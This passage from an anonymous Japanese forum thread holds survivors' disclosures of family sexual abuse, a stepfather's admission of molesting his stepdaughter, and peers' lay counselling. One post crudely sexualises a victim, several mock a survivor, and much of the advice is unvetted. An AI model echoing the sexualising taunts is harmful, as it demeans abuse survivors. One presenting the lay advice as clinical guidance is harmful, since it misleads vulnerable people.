そのオッサンから被害をうけていたことが分かって情状酌量されてる。
ここまでやるのはどうかと思うが、泣き寝入り人生よりは楽しいと思う。
230:マジレスさん
06/12/24 12:02:43 q2zJ1D20
>227
我慢する事は美徳ではないよ。
自分が我慢すれば、自分が与えれば誰かが幸せになる、
誰かの犠牲の上に胡坐をかく幸せなんて、幸せではない。
人に相談をしない事に自分で納得しているのならそれでもいい。
でも、誰かに言いたいのに誰にも何も言えない、と自分の内に何でもかんでも
秘める事が苦痛であるなら、それは外に出す方がいいと思うよ。
少しづつでも相談できるようになるといいんじゃないかな。
確かに結局動くのも考えるのも自分だけれど、一人で考えるよりも
全然違う立場の人間の意見が解決への糸口になる場合もある。
自分の場合はだが、あまり人に相談も愚痴も言う方ではないけれど
どうしようもなくなったら話す事によってストレスが発散されている部分もある。
ケースバイケースで色んな事に対処していくといいよ。
まずは、あなたの最大の悩みが解決される事を祈っているよ。
231:マジレスさん
06/12/26 00:48:39 1UhIjOkB
ﾎｼｭ(´ー｀)ﾎｼｭ
232:マジレスさん
06/12/26 23:20:06 hMMfqHnw
実家に帰るって言っていた子は、大丈夫かな…(´・ω・`)
233:マジレスさん
06/12/27 00:27:48 uqNOF+U+
実家から召集コールが来るんだろうか
234:マジレスさん
06/12/27 00:49:46 Un7wQHtC
カエレコールが来なくても無言の圧力というものを感じて、
おのずから帰ってしまうかもしれない。
本当はそうする必要なんて全くないんだが…。
心配だ。
235:マジレスさん
06/12/27 02:30:45 Me4qLwEO
227です
皆さんありがとうございます。
相談したいんですが、すでに何を悩んでるのかわからなくなってきました。ただ、動いてないと気が済まないというか、楽しくないのにパチンコしたり、何をしても楽しくないです。
時間が悩みを解決したようにも思えるんですが、なんか…モヤモヤがとれないのが憂鬱です。涙も最近きっかり出してないし、相談しようと思っても、何を話せばいいのか…全てを心の奥にしまいこみすぎました。
ただ、今誰かに抱き締めてもらいたい。ただそれだけで十分なのに…誰もいない
236:マジレスさん
06/12/27 02:44:52 Un7wQHtC
>>235
ただ人のぬくもりが欲しい時もあるよ。
女友達でもいいから、頭ﾖｼﾖｼしてもらうと、ちょっと気が晴れるかもしれないよ。
あなたは甘え下手だね。
抱きしめて欲しいなら、ギュってして欲しいんじゃー！
って言っていいんだよ。
ま、恥ずかしいけどね（＾＾；）
楽しくない時は楽しくなくていいんじゃないかな。
人間常に楽しいなんて人、それの方が変だと思うぞ。
237:マジレスさん
06/12/28 17:55:42 P76xhQIZ
219です。心配していただいてありがとうございます。
このまま帰省はしないことにしようとしていたのですが、
実は住んでいる寮がもうすぐ閉館し、冬休み中は閉鎖されて
しまうようなのです。一人暮らしの友人は皆、帰省してしまい
身を寄せる場所もないので、帰省するしかなさそうです。
今、何が一番怖いかというと、地元で就職しない理由を詰問されたり、
当たり前のように父親に「もうすぐ結婚して子供を産むんだろ」みたいな
ことをいわれたら、今度こそ爆発して過去に受けた事を母の前で暴露
してしまいそうなことです。そのことで、体の弱い母に負担を
かけることも心配ですが、私自身が、表面的には普通の家庭を
壊すのが怖いのだと思います。
しかし、その反面で今までどれだけ苦しんできたかを
両親にわからせ、自分達の罪がまだ残っていることを
思い知らせたいというような気持ちもあるのです。
就職もまともにできない私がこんなことをいっても
両親はまともに取り合わないと思いますが。
愚痴ってすみません。長文失礼しました。
238:マジレスさん
06/12/28 21:40:12 T6GUojZ6
>>237
いや、愚痴っていいし。
こんな所で愚痴らないで、何処で愚痴るんだい？
タイミング悪いね、寮の閉鎖なんて。
どうしても実家に帰らないといけないならそれも仕方ないけど、短期のバイトとか入れられないかな？
もしくは実家の友達の家を「就職したら中々遊べなくなるから」って理由で泊まって語り明かすとか。
実際働き出すと友達付き合いは中々出来なくなるから、今のうちに遊ぶのはいいと思うよ。
爆発するならしてもいいんだけど、あなたに精神的な支えがまだないなら避けた方がいいとも思う。
精神的な支えとは、あなたの中の自分自身だったり恋人だったり友達だったりするんだけど。
あと、「女は当然結婚して子を産む」事に捕われなくていいんだよ。
世間体で結婚して子供を産む時代は終わったんだから。
地元で就職する必然性も、それは親の都合でしょう？
あなたはあなただけの幸せを考えて生きればいいの。
いいかい？
親に捕われていては、あなたは自分自身の幸せを逃してしまうよ。
就職は大学の先生やらに相談しているかな？
就職が決まらない不安感もあると思うけど、仕事が決まってもそれで万事うまくいくわけじゃないから、内定が出ない事を必要以上に恐れなくていいよ。
とりあえず就職ははったり命だから、自信持ちなよ。
ただ、卒業後も実家に帰るのは、絶対に避けた方がいい。
帰ったら、あなた心が死ぬよ。
239:マジレスさん
06/12/29 02:39:41 jgtC6D68
>>238
ありがとうございます。寮の閉鎖と今年最後の不合格通知の
ダブルパンチで八方塞な気分でしたが、気持ちが明るくなりました。
地元の友人と会う予定を沢山いれたり、図書館に居たりして、
なるべく実家にはいないようにしようと考えています。
私は親に捕らわれている自分から目を背けるために今まで
勉強とかに打ち込む振りをしてきました。そのツケが今になって回って
きたようです。就職活動を意識し、自己分析などを
始めてからフラッシュバックが酷くなりました。
元々あがり症ですが、面接官に父と共通するもの
を感じてしまうと存在を否定されている気分になったり、
話している自分を外から見ているような感覚になったりします。
240:マジレスさん
06/12/29 02:40:38 jgtC6D68
>>239続きです。
就職のことは大学の先生に相談したりしましたが、
「高望みしているから決まらない。」と言われてしまいました。
性格的に営業はできないので、事務職以外のこだわりはないのですが。
実家に帰るのだけはなんとしても避けたくて、それに比べたら就活もけして辛いものではないので、前向きな気持ちで就活しているつもりですが、
どうしても自分の中で「身の程知らずに事務職志望して」
「私を採用するメリットなんかない」「私に仕事選ぶ資格なんてあるわけない」
という考えが出てきてしまい、それが表にでてしまうようです。
自信を持てるように、お正月中は自分を認められるように考えたりしようと思っています。
241:マジレスさん
06/12/29 15:13:54 ThLAzgsl
お正月に友達とカウントダウンパーティーなんてすると、ﾎﾝｯﾄ楽しいよ。
今のうちなんだから、友達との時間大事にしなね。
自分が必要とされてない感覚や離人感は、あなたのような体験を余儀なくされた子に表れる症状のひとつだから、そうなる事を殊更「自分はオカシイのではないか」と思わなくてもいいんだよ。
むしろ、安心出来る環境になったからこそそうなれたんだから喜ばしい事なんだ。
心が死にきる前でよかったよ。
他人に父を重ねてしまうのも今は仕方がないことだけど、これから沢山の人に出会って変わっていくよ。
大丈夫。
会社には厳密に「必要な人間」というのはいない。
会社のトップが急死してもなんとかなるでしょ？
あなたを必要とするのは会社じゃない、人だよ。
会社に入っても苦しい事や悲しい事は沢山ある。
残念ながら社会は優しい人間ばかりではない。
その中で自分を見失わずに自分を大切にして生きていくことがあなたは絶対に出来るようになるから、自分が要らない存在だって思わないでね。
お正月には極力心が荒れない方法を選んで過ごせるといいね。
あなたの就職を有利にするのは先ず自分への自信からだよ。
あなたにはあなたにしかない経験と苦しさと思い遣りと優しさと知性がある。
それにもっと自信を持っていいよ。
あなたは素敵な子なんだから。
242:マジレスさん
06/12/29 18:41:22 w+8XbUf1
おい、おまえら2ちゃんらしくないぞ偽善くんたち！
親父にクンニされたりしちゃって濡れちゃったのかなこの娘は？
243:マジレスさん
06/12/30 15:38:21 to63pfTH
>>242
夕食時にそんな下らない事書き込むオマイは一人で寂しいのかい(´・ω・`)？
244:マジレスさん
07/01/01 14:26:40 wg32pDnd
あけおめー(゜∀゜)
245:マジレスさん
07/01/01 16:33:24 pp0VYFRj
なにこれ？信じらんないなここ。
俺、年近い妹いるけど欲情なんてしたことない。そろそろモテるだろうな、変な男寄ってきたらどーしよう、とか心配ぐらいはするけどさぁ…
きもくない？考えただけできしょい。おかしい。よく考えろって！家族に手だした男は、自分、どんな人間になりたいとか理性で考えたことある？
家族に手だして、セックスするような男になりたかったわけ？！信じらんね。やられた方可哀相すぎる。なにが、やった方も悩んでるだよ。なら最初からすんな。
きもいんだよ馬鹿！
246:マジレスさん
07/01/02 00:22:39 GyhKJT5b
>>245
あんたカッコイイな。
世の中のお兄さん全員があんたみたいなら妹は全員幸せなんだろうな。
アンタ正しいよ。
あなたがこの先もしも家族に性的に搾取された気の毒な女の子に会う事があれば、君は汚れていないと言ってあげて欲しい。
悩めば救われるなんて事はない。
ヤル前にやった後どうなるか考える力が培われていないのかもしれんがな…。
殺人並なんだよ、この犯罪は。
そんな犯罪犯す前に考えるぐらいの力は自分で身に付けて欲しいもんだが。
247:マジレスさん
07/01/02 00:24:59 bc1y2DU/
ウチの幼い姪が、「オマンコ」とか「チンチン」とか
口にするようになりました。
幼稚園は、どういう教育をしてるんでしょうか？！
それと、俺を覗いてる誰かさん
ここまで世間は嘘を、シラを通してきたんです！！！
貴方達は、多数派の嘘に少数派の真実を見失ったんですよ！！！
248:マジレスさん
07/01/02 16:37:40 DGFW7E0F
正論だよ
でも理屈じゃないんだよ
249:マジレスさん
07/01/03 11:19:24 OUTUuAKM
アーッ！
な事を弟にしかけた…（未遂ですが。）
リアルじゃ絶対誰にも言えない…
250:マジレスさん
07/01/03 19:33:10 lG7l3G1d
>>249
未遂でよかったﾀﾞﾆｰ。
いや、ホント未遂でよかったな。
昔のオマイに乾杯。
251:マジレスさん
07/01/04 19:54:44 LIJ5HQH0
正月が明けてしもた…(ノД`)
252:マジレスさん
07/01/05 00:32:55 zk4kXgzp
１２歳になる義理の娘の胸と股間を触ってしまったorz...
おれは、最悪な人間だ・・・
もう、死んでしまいたい
253:マジレスさん
07/01/05 01:40:51 kbYQy2zp
そう思うなら娘にちゃんと謝ったら。
そして二度としないと約束するのだ。
254:マジレスさん
07/01/05 07:57:54 y4W0O88V
>>252
今自分の非を認めて謝らないと、あなたの義理の娘さん、
将来高確率で精神病むよ。
覚えてない、忘れると思ったら大間違い。
以上は娘さんの為に謝った方がいいというのが一番だが、
アンタ自身の為にも謝った方がいい。
自分の起こした行動に責任を持つ事が、
自分の人生を自分の責任で生きるって事が
格好良い生き方なんでねぇの？
255:マジレスさん
07/01/05 08:00:25 zk4kXgzp
去年の６月の結婚直後～８月にかけて４回も・・・
自分は、その娘との距離を縮めたかったのに、
全く逆の事をして、その娘と妻を傷つけるだけでなく
周りにも迷惑をかけることに・・・
自分は、その行為をしたことも忘れ、いままで一緒に過ごしていた。
妻が娘の様子がおかしい事に気がつき、問いただした事で事態が発覚
その娘に「もうしないで」言われ、自分は、もう二度としない事を約束した。
児童相談所やカウンセラーにで離れた方がいいと言われ
年末から実家にもどっている。
今は、自分の顔も見たくないと思っているだろうし、
妻にもこの事でストレスを与えてしまっている。
自分も取り返しの付かないことをした罪の意識で、毎日が苦しい。
自分としては、その娘と妻へ誠意をもって対応をしていきながら、
徐々に関係の修復をしていきたいと思っているけど、無理だろうか？
256:マジレスさん
07/01/05 08:14:00 zk4kXgzp
>>253
>>254
ありがとう
もっと謝りたいという気持ちと
これから、その娘がこの事を乗り越えていける様に
自分が出来る限りの事はしていきたい。
妻も仕事や家事での疲れとストレスで、その娘にあたってしまうこともある
みたいだから、可能であれば、戻って妻の負担を減らして、
その娘との時間を持てるようにしていきたいとは、思ってるけど
今は、その娘にとって思い出したくない、顔も見たくないのが本心だから
離れていても出来る事をしていきたい。
出かける時間なので言ってきます。
257:マジレスさん
07/01/05 14:51:35 e6Zlzbi4
された側なんだけれども
小２～小４まで２つ違いの従兄弟の兄ちゃんにイタズラされていました。
何でそうなったのかは思い出せないけど兄ちゃんのアレを無理矢理触らされて自分のアレを触られた。
子供ながらに抵抗したりしたんだけど兄ちゃんに逆らえなくて親とかの目盗んで…
最後あたりは逃げ方覚えて小４以降会ってもされなくなったけど…
アレが原因なのかな、一時期男が本気で嫌いになってしまった(今は大丈夫だけど)
今でも兄ちゃんに会うとすっごい気まずいし怖い。
向こうは…何もないから忘れてんのかな。
こういう関係を修復したり気まずさをなくす方法ってないかな…?
258:マジレスさん
07/01/05 17:22:44 IFr687Uz
ないね
わざわざ関係を修復させる必要があるのか？
259:マジレスさん
07/01/05 19:28:28 e6Zlzbi4
>>258
年に一度兄ちゃん達一家が地元に帰省するんだけど…
自分と年近いの兄ちゃんだけだし兄ちゃん頭が良いから勉強教えてもらえって言われるから、間違いなく顔合わせるし…
正直誰にも言ってない。
最近まで兄ちゃんと顔合わせる事なかったけど逃げるにも限界が出て来た…
260:マジレスさん
07/01/05 20:35:10 y4W0O88V
>>259
君の性格によるから今から書く事が最善ではないけれど、
一つの手段ということで。
一度はっきりと「あの時された事は嫌だった」と言う。
兄ちゃんが謝ろうが言い訳しようがそれはぶっちゃけどうでもいい。
君が「自分の望まぬ事をされて嫌だった」と、
自分自身の意思表示を自分の責任ですることで、
君に自信が付く事が大事なんだな。
兄ちゃんはちゃんと覚えていて、
君に嫌な事を思い出させまいと黙っているのかもしれない。
加害者が言い出さない理由の一つだがね。
君は今大きくなって、ちゃんと自分が望まない事は「嫌だ」と言う事が出来るようになっているんだよ。
小さくて何も出来なかったあの頃とは違うんだから。
勉強教えてもらえ、は親の希望だよな？
だったら自分が嫌なら断っていい。
親の顔色を伺う良い子なだけでは、社会に出て何も出来なくなるぞ。
無理しない程度にガンバな。
261:マジレスさん
07/01/05 23:46:26 N6HVj1F0
>>256
発覚した後なのか…。
オレの主観なので世間がどうかは分からんけども。
正直、お前からのアプローチは止めた方がいいと思う。
娘さんはお前への恐怖でまだいっぱいだと思うから、
焦って関係修復をしようとしたら余計悪い方向に進むんじゃないかな。
残念ながらお前は覆水盆に帰らず、という事をやってのけてしまった。
犯してしまった罪ならば、自分が苦しみ後悔の念に襲われるのは
してしまった事の責任を取る行為だから、それは甘んじて受けるべきだと思う。
子供への性的虐待っつうのはロリコン思考とか近親相姦願望とかよりは
自分のストレスをどこにもやれずに子供に当たってしまう場合が多いとも聞く。
カウンセラーにかかっているなら分かってるとも思うがな。
まずはお前の情緒が安定する事が一番大事な事。
お前の抱えるストレスをどうやって自分で消化していけるようになるか。
その事をまず考えようよ。
ひとつだけ、お前のよかったところは女を見る目があったトコロだな。
娘から夫の性的虐待を聞いた母は、娘への嫉妬から話を無視する人もいる。
でもお前の伴侶はちゃんと娘の話を聞き、娘を取った。
家族の病理はな、一番子供に向かいやすいんだ。
仕事や人間関係のストレスをまともに被るのは子供だよ。
だからな、俺ら大人は子供に還元する前に自分でストレスを解消できるように
ならないといかんわけよ。
お前なら、出来ると思うよ。
でもま、あんまり無理すんな、な？
まずは自分の生活を立てなおそう。
262:マジレスさん
07/01/06 01:56:31 z14T0PVg
♀だけど、小学３～４年のころ、家族じゃないけどいとこ(１コ下の♀)と変な遊びしてたなぁ↓胸を触り合ったり、「あそこを指でブルブルさせると気持ちいいよ！」と教えてあげたり、チューしたり、親父達のエロ本見つけて一緒に見たり…
２人でいとこの弟をつかまえてパンツ脱がせて尻の穴ムリヤリ開かせたり↓
今思うとホント恥ずかしくて情けないし、相手も同じ気持ちなのかあれから10年くらい、会っても気まずくて話してません…
263:マジレスさん
07/01/06 03:20:57 77Eq3Ir0
>>257はまた従兄に迫られたらどうするのかね
264:マジレスさん
07/01/06 04:00:02 9wlms+qU
話違うかもしれないけど…。
夜回り先生の本読んでたら、父親に襲われたショックからドラックに溺れて最後には自殺した娘について載ってた。
今日やってた金田一のドラマも近親相姦がきっかけで事件起きてたし(ドラマと言ったらおしまいだけど…)
やっぱりいい結果は絶対生まないよね
脳内なら良いって人もいるけど、出来れば脳内の人も、治すように努力すべきだと思う
265:マジレスさん
07/01/06 08:46:12 uGCX2QAE
>>260
ありがとう。取りあえず今度会ったら正直な気持ちを打ち明けようと思う。
>>263
まさかとは思うけど…そういう結果の可能性もあるんだよね。
相手は自分よりも大きい男だから、もしかしたら状況によっては逃げ切れないのかもしれない。
>>260の言う通りの結果になってくれればいいんだけど…
266:たく
07/01/06 09:19:03 AT9xYn0C
されだ側ﾃﾞｽ
㊥②のころなん㌔｡｡｡義理の姉とそのぉ友達がぅちにきてて｡｡｡ゲームゃってたら｡｡｡ぃきなり隣の部屋からめぇる来て｡｡｡ぃったら｡｡｡なんか｡｡｡ぃきなり足掛けされて転んだら｡｡｡ズボンとパンツ脱がされて｡｡｡｡｡｡ごめんなさぃ｡｡｡ぁとわぃぃたくなぃﾃﾞｽ㌔｡｡｡ぃやなぉもぃでです
267:マジレスさん
07/01/06 09:46:41 RA8ijZAv
>>261
256です。
ありがとう、IFFってところで電話カウンセリングをはじめましたが、
ここで、こんなすばらしい言葉をかけて貰えてほんとにありがたいです。
娘に許されたいという自分では、どうしようも無い事でもがいていましたが
少し落ち着きました。
心の垢を削り落として、まずは、自分を磨きなおす努力をしていきます。
268:マジレスさん
07/01/06 12:46:23 rA+h9RYo
>>266 日本語でおK
269:マジレスさん
07/01/06 14:06:19 louncqVv
>>266
読みずら
270:マジレスさん
07/01/06 14:43:12 dZVE0Cf0
>>266
何この基地外
271:マジレスさん
07/01/06 14:47:10 TvfXi8Gk
>>262
オレもお医者さんごっこした口だけど、
恥ずかしくて思い出してくないよ；
自分の場合は同年齢だったが。
弟には謝っといた方がいいかもなぁ。
忘れているかもしれないけど、あんたの気がおさまると思うよ。
関係がいい弟なら「そんな事気にしてたんか、がっはっは」になるかもしれんし。
272:マジレスさん
07/01/06 14:51:55 TvfXi8Gk
>>264
世の中の犯罪の根底には、実は親からの虐待があるんじゃないかと思うんだな。
幼少時代に親の愛情なく育った子は、自尊心が低く
被害者意識が強く、攻撃的になってしまう場合がある。
自分を愛する能力が家庭で培われなかったから仕方がないんだがな。
家庭がダメでも教師や友人やらに恵まれれば大丈夫なんだろうが
そうじゃない子達の方が圧倒的に多い。
性的虐待含めて、まずは家庭内の犯罪を無くしていく事が
犯罪の無い世界にする第一歩な気がするんだよなぁ。
今日児童虐待防止法を改定する動きが新聞に出ていたが、
これが良い方向に進んでくれるといいんだが。
273:マジレスさん
07/01/06 14:54:49 TvfXi8Gk
>>265
心配なら、個室で二人きりになるのは避けるようにしておきな。
どうしてもその状態になるのを避けられなさそうなら、
そういう状態になったときに大声を出す練習をしておくといいよ。
あんまり考えたくないだろうが、その状態を想像してみる。
体が動かなくなるだろうが、何度も想像して、「嫌だ！」と大声を上げる。
イメージトレーニングするだけで、随分違うよ。
自分が想定する行動内で、しかもその行動を練習することによって
普段なら絶対に言えないであろうことも出来るようになる。
いい結果になるといいな。
274:マジレスさん
07/01/06 14:57:41 TvfXi8Gk
>>266
かなり読みづらいので君の伝えたい事の
100パーセントを理解できていないかもしれないが。
思い出したくないなら思い出さなくてもいいし、言いたくないなら言わなくていい。
言いたくなったら言えばいいし、無理はしないでいいんだよ。
嫌な事されたよな、(´･ω･`)/ ﾖｼﾖｼ
275:マジレスさん
07/01/06 15:06:02 TvfXi8Gk
>>267
電話カウンセリングしてるのか、あんたエライぞ。
加害者側は自分の罪に向き合う事を避けてカウンセリングから逃げる傾向にあるんだが、
あんたは自分の罪に向き合って、自分を立て直そうとしている。
あまり楽観的な事は言いたくないが、あんたの努力は実るんじゃないかな。
というか、実って欲しい。切に願う。
ＩＦＦ代表の斎藤学氏の本は、アホの自分でも読み易いので読んでみるといいぞ。
あんたの犯した罪系の本よりも、まずは家族病理の本からすすめるがね。
斎藤氏がやっているＮＰＯのＪＵＳＴで、加害者男性（クローズ）側の
ワークショップもやるかもしれないから、もしもそういうグループワークに興味があるなら
電話カウンセリングの時に聞いてみるといい。
なんて書くと宣伝乙、と書かれるな；
焦るなよ。
許されたい気持ちは十分に分かるが、それは荊の道だ。
ゆっくりゆっくり、時間をかけて、あんたとあんたの娘を癒していこうな。
276:マジレスさん
07/01/06 21:20:50 RA8ijZAv
>>275
自分は、「性暴力の理解と治療教育」と
IFFの「性暴力とDV～加害者治療の可能性を探る」を買いました。
家族の病理は、「ドメスティック・バイオレンスと家族の病理」ってやつですね。
これも読んでみようと思います。
妻も仕事のストレスに加え新たなストレス要因を作って傷つけてしまいましたが、
妻とのコミュニケーションも徐々に取り戻してきました。
まだ、始まったばかりですが、家族の絆を取り戻す為に努力していきます
ここに書きこもうかずいぶん悩みましたが、あなたのような方にレスを頂き
これから頑張ろうという力が湧いてきました。
ほんとありがとう
277:マジレスさん
07/01/07 23:21:14 Lw//oYcJ
>>276
ここはそもそもアンタのような人からの相談を想定して立てた板なんだから、
本来の使い方が出来てよかったんだよ。
家庭の病理はな、家族全員が治療していかなければ
何も改善されないまま膿んで行くんだ。
だからアンタの、変えようと、変わっていこうとする姿勢は
やった事は全然弁護できんが、その想いは実って欲しい。
そして、親（子の場合アンタの事な）が変わる事で、
傷を負ったアンタの妻と娘さんも、変わっていけるんじゃないかと思う。、
皆が変わっていけるんじゃないかと思う。
これから先、辛くてどうしようも無くて誰にも言えない時にまだここがあれば、
また書き込むといい。
本当はこのスレがアンタに必要なくなる事を願っているがね。
責められて自分を責めて、どうしようもなくなっても、頼むから自暴自棄にはなるなよ。
278:マジレスさん
07/01/08 18:36:32 owEzlwTW
>>277
thx
行き詰ったら、また書き込みます。
279:マジレスさん
07/01/09 13:58:40 EtibHyg2
2007年が全ての人にとって良い年になるといいんだがな。
寮の閉鎖で実家に帰っちゃった子、
無事に新年迎えられたかな…。
280:マジレスさん
07/01/11 21:21:08 G5SI566V
240です。無事に新年を迎えることができました。
温かいレスを頂いた上に心配までして頂いて涙がでてきました。
こんなに優しい言葉をかけてもらえるとは思っていませんでした。
本当にありがとうございます。
帰省中はなるべく実家にはいないように気をつけ、友人と過ごしたりしたので、
楽しむ事もできました。
「地元で就職しろ」という父に爆発しそうになりましたが、
母も傍にいたため、ぐっと堪えました。このまま地元に残って就活を
しろという両親に授業があるからと言って戻りました。
卑屈になっても悪いことばかり考えても何も良くはならないので、
前向きに自立に向けて頑張りたいと思っています。
281:マジレスさん
07/01/12 00:58:39 R09JJPrD
>>280
無事に帰ってきたようで、よかった。
こっちが勝手に心配しているだけなので、心配される事を気にしなくていいよ。
楽しい年末年始を過ごせたようで、良かったね。
あなた、一皮向けたような印象があるな。
お母さんの為に我慢する、んじゃなくて今後は「自分の為」に
父と向き合い対決できるようになるといいね。
あなたは「子」なんだから、が母親の変わりをする必要はないよ。
お母さんの為にはそろそろやめて、自分の為に自分で行動できるようになると
自分の人生が輝いてくるんじゃないかな。
あなたはもう少しで親の支配から離れて、自分で生きていく事が出来るようになる。
それは辛いし、苦しい時もある。
そんな時、あなたの周りにいる友人や教師が支えになってくれる。
これから、色んな苦難があるけれど、自分ひとりで解決しようとしないで、
色々な人を沢山頼っていってくれな。
人がそうやって助け合って社会がまわっているんだから。
無理なときは無理だと弱音を吐いてもいい。
頑張り過ぎない程度に頑張ってな。
282:マジレスさん
07/01/13 00:26:51 gSywX5xR
278です。
またもどってきました。
お昼まで協力的だった妻が、一変して否定的な態度をしめしてきました。
こっちが本当の気持ちだと思いますが、妻の気持ちに答えようと
がんばらなくてはと思っていたところに釘をさされて、気持ちがぐらつきました。
当然ながら妻は離婚も視野にいれてるとのことです。
自分が大切にしたいと思っていたものを自分が壊してしまった事は、
ほんとうに取り戻せるのだろうか・・・・
自分の存在が嫌になってしまう。
心がバラバラに砕け散ってしまいそう。
283:マジレスさん
07/01/13 00:58:25 V3Iacl1F
>>282
「戻る」と思っていた関係に暗雲が立ち込めはじめたように
感じているんじゃないかと思うが、自暴自棄にはなりなさんなよ。
正直なところ、「取り戻せない」という事も視野に入れた方がいいとは思う。
でも、たとえば取り戻せないとしても、アンタがしている事は無駄にはならない。
いいかい、絶対に無駄になる事はない。
だから、今は自分に出来ることだけをしていこう。
奥さんも揺れているんだと思う。
アンタが変わっていこうと努力する姿からの情け、
でも娘を一番卑怯な手で傷つけたアンタに対する嫌悪感、
娘に切り出されるまで気付けなかった自分の不甲斐なさ、
情と憎しみの間で揺れ動いているのだから、言葉を翻すのも無理はない。
アンタに出来る事はそれを甘んじて受けるしかないん。
だって、犯してしまった罪はあまりに重いんだから。
苦しいけれど、数ヶ月ですっかり取り戻せるものじゃない。
年単位で掛からないと、家庭に巣食う病理は改善されないものなんだ。
自己否定するときは、思いっきり自己否定して落ち込むのもいい。
自己嫌悪に陥って自分を消してしまいたい気持ちもわかる。
考える事はアンタの実になる。
でも、どうしても耐えられない時は、暖かいココアでも入れて
ちょっと落ち着いてみてはどうかな？
ココアが面倒なら、ホットミルクにハチミツかメープルシロップでもいいぞ。
ゆっくり風呂に入るのもいい。
「なぜ？」という疑問符を一生抱えて生きていく事は恐らく無い。
でも、今はそれを考えないといけない時。
苦しむのは当然だ、でも焦りなさんな。
284:マジレスさん
07/01/13 01:15:19 gSywX5xR
>>283
おれは、自分を守るために、妻の機嫌をとろうとしてるだけなのか
だから見透かされて怒りが爆発したのか・・・
285:マジレスさん
07/01/13 02:24:48 V3Iacl1F
>>284
見透かされてるというよりは、アンタが何をしても、何を言っても責めるよ。
それはアンタがしてしまった事の代償みたいなもんだ。
彼女にはアンタに怒りをぶつけると同時に、
自分への怒りもぶつけているんじゃないかな・・・。
逢魔ヶ時は、バイオリズムが落ち込みネガティブな考えになる事がある。
そういう事もあるから、昼間と意見が正反対になったりしているのだろう。
あまりにお互いが辛いのなら、一旦離れて仲介人を入れるのも手ではないか？
直接「こんなことをがんばっている」と聞くよりも、
他人から「あなたの夫はこういう風に頑張っている」と伝達される方が
印象が良くなる場合が多い。
286:367
07/01/13 08:47:59 Loc75v+S
娘の目つきがおかしいことに気付き主人から娘への行為が発覚。
怒りというより、なんとかしなくてはと仕事の合間に奮闘し続けた。
どうしたらよいか・・・という主人の姿を見て怒りよりも何とかしないとと
思う気持ちが先に立ったんです。
娘も守りたい、出来るだけ傷を浅く、自らの感情を吐き出させよう
主人には自分の過ちの重さをもっと自覚して欲しいと
私自身は冷静に対応し、頑張らなくては・・
泣くことも忘れ毎日仕事と家庭内への対応
何故あんなことをしたの？？？という疑問符と再婚直後の出来事である
ことに対する怒りがいつも自分の中で渦巻いています
普段の主人に不満はありません、何か問題が起きたときの主人の甘い
考えと行動が許せません。
「援助者が性的虐待の存在を指摘した直後にそれを受け入れ、
自分がそのような行為に及んでしまった心理的な背景についても
自己分析的に述べる加害者も存在する。こうした加害者の行動の
多く は『偽りの洞察』と呼ばれるものであり、真の洞察への防衛で
あったり、子どもを取り戻すための方略であると考えられるので
注意を要する。」
あるサイトでこの文面を見たときから動揺が激しくなりました・・・
287:マジレスさん
07/01/13 10:13:55 gSywX5xR
>>285
おはよございます。
深夜にもかかわらず、レスをいただきありがとうございます。
妻には、自分から伝えて行くようにしたいと思ってます。
先日薦めてくださった本ですが、Amazonで古書を見つけたので注文しました。
届きましたら読んでみます。
288:マジレスさん
07/01/13 10:23:58 gSywX5xR
>>286
妻です・・・・
289:259
07/01/13 11:25:04 dl8iV6qu
>>273
遅レスですが、ありがとうございます。
次に会うのは夏休みシーズンなので何かと話せるチャンスを狙って言いたいと思います。
あと、もし襲われた時のイメトレも自分の中で少しずつやっていきたいと思います。
290:マジレスさん
07/01/13 22:45:42 DqyGMMtE
ん、今でもエロイ視線を感じる時あるの？
291:マジレスさん
07/01/14 01:07:34 ea/unQC9
>>287
>>286はお前さんが張ったのかい？
ＩＤが違うのでよくわからんのだが。
奥さんが疑心暗鬼になるのはお前さんがやらかした事からしたら当然の事。
拒否と受容の繰り返しがこれから続くことだと思う。
はっきり言って「元に戻る」事は絶対に無理なんだから、
起こった事を踏まえて皆が変わっていかないとどうにもならんよ。
その道のりは、報われる事は無いかもしれない道だが、
それでもやる前に諦めてはお前の人生全てがダメになるから、
今出来る限りの努力はしたほうがいい。
それから、本に書いてあることは著書の主張なので
それを全部信じる事はしないことな。
ま、大人ならばわかってる事だろうから、余計なおせっかいだがな。
292:マジレスさん
07/01/14 01:09:53 ea/unQC9
>>289
夏休みとなると随分先のことだから、イメトレも十分出来ると思う。
でも、そのことばっかり考えない事な。
好きなものや好きな子のことでも考えて、嫌な事に気を取られる時間を
自分で作る事も大事だぞ。
自分の中のストレスを、自分でちゃんと解消できる大人になりな。
君なら出来るよ。
夏休みに良い方向に行く事を願ってる。